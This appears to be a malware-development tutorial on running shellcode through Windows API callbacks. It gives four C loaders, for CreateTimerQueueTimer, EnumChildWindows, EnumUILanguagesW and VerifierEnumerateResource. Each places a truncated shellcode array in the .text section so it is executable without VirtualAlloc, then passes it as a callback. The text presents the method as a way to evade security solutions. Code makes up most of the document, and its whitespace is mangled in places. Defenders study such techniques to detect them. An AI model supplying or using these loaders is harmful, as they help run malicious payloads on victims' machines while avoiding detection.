Callback functions are used to handle events or to perform an action when a condition is met. They are used in a variety of scenarios in the Windows operating system, including event handling, window management, and multithreading.
Several ordinary Windows APIs possess the ability to execute payloads using callbacks. Aditionally, these functions may appear benign and can potentially evade some security solutions.
Callback functions are only beneficial when the payload is running in the memory address space of the local process.
Callback Execution can replace the use of the CreateThread WinAPI and other thread-related techniques for payload execution. Additionally, there is no need to use the functions correctly by passing the appropriate parameters. The return value or functionality of these functions is not of any concern.
One important point about callback functions is that they only work in the local process address space and cannot be used to perform remote code injection techniques.
The following sections provide examples of some callback funtions. The payloads used are stored in the .text section of the binary. This allows the shellcode to have the required RX memory permissions without having to allocate executable memory using VirtualAlloc or other memory allocation functions.
- CreateTimerQueueTimer
CreateTimerQueueTimer creates a new timer and adds it to the specified timer queue. The timer is specified using a callback function that is called when the timer expires. The callback function is executed by the thread that created the timer queue.
#include<Windows.h>#include<stdio.h>#pragmasection(".text")__declspec(allocate(".text")) constunsignedchar Payload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// shellcode .....0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};intmain() { HANDLE hTimer =NULL;printf("[i] Payload At : 0x%p \n", Payload);printf("[#] Press <Enter> To Run CreateTimerQueueTimer ... ");getchar();if (!CreateTimerQueueTimer(&hTimer,NULL, (WAITORTIMERCALLBACK)Payload,NULL,NULL,NULL,NULL)){printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());return-1; }// wont reach this point of execution (the shellcode itself will terminate the process)printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
- EnumChildWindows
EnumChildWindows allows a program to enumerate the child windows of a parent window. It takes a parent window handle as an input and applies a user-defined callback function to each of the child windows, one at a time. The callback function is called for each child window, and it receives the child window handle and a user-defined value as parameters.
#include<Windows.h>#include<stdio.h>#pragmasection(".text")__declspec(allocate(".text")) constunsignedchar Payload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// shellcode ....0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};intmain() {printf("[i] Payload At : 0x%p \n", Payload);printf("[#] Press <Enter> To Run EnumChildWindows ... ");getchar();if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload,NULL)) {printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());return-1; }// wont reach this point of execution (the shellcode itself will terminate the process)printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
- EnumUILanguagesW
EnumUILanguagesW enumerates the user interface (UI) languages that are installed on the system. It takes a callback function as a parameter and applies the callback function to each UI language, one at a time. Note that any value instead of MUI_LANGUAGE_NAME flag still works.
#include<Windows.h>#include<stdio.h>#pragmasection(".text")__declspec(allocate(".text")) constunsignedchar Payload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// shellcode ...0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};intmain() {printf("[i] Payload At : 0x%p \n", Payload);printf("[#] Press <Enter> To Run EnumUILanguagesW ... ");getchar();if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME,NULL)) {printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());return-1; }// wont reach this point of execution (the shellcode itself will terminate the process)printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
- VerifierEnumerateResource
VerifierEnumerateResource is used to enumerate the resources in a specified module. Resources are data that are stored in a module (such as an executable or a dynamic-link library) and can be accessed by the module or by other modules at runtime.
VerifierEnumerateResource is exported from verifier.dll, therefore the module must be dynamically loaded using the LoadLibrary and GetProcAddress WinAPIs to access the function.
If the ResourceType parameter is not equal to AvrfResourceHeapAllocation then the payload will not be executed.
#include<Windows.h>#include<stdio.h>#include<avrfsdk.h>// for "AVRF_RESOURCE_ENUMERATE_CALLBACK"#pragmasection(".text")__declspec(allocate(".text")) constunsignedchar Payload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// shellcode ...0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};typedefULONG (WINAPI* fnVerifierEnumerateResource)( HANDLE Process, ULONG Flags, ULONG ResourceType, AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, PVOID EnumerationContext);intmain() { HMODULE hModule =NULL; fnVerifierEnumerateResource pVerifierEnumerateResource =NULL; hModule =LoadLibraryA("verifier.dll");if (hModule ==NULL){printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());return-1; } pVerifierEnumerateResource =GetProcAddress(hModule,"VerifierEnumerateResource");if (pVerifierEnumerateResource ==NULL) {printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());return-1; }printf("[i] Payload At : 0x%p \n", Payload);printf("[i] pVerifierEnumerateResource At : 0x%p \n", pVerifierEnumerateResource);printf("[#] Press <Enter> To Run VerifierEnumerateResource ... ");getchar();// should be `AvrfResourceHeapAllocation` flag to run the payload pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);
// wont reach this point of execution (the shellcode itself will terminate the process)printf("[#] Press <Enter> To Quit ... ");getchar();return0;}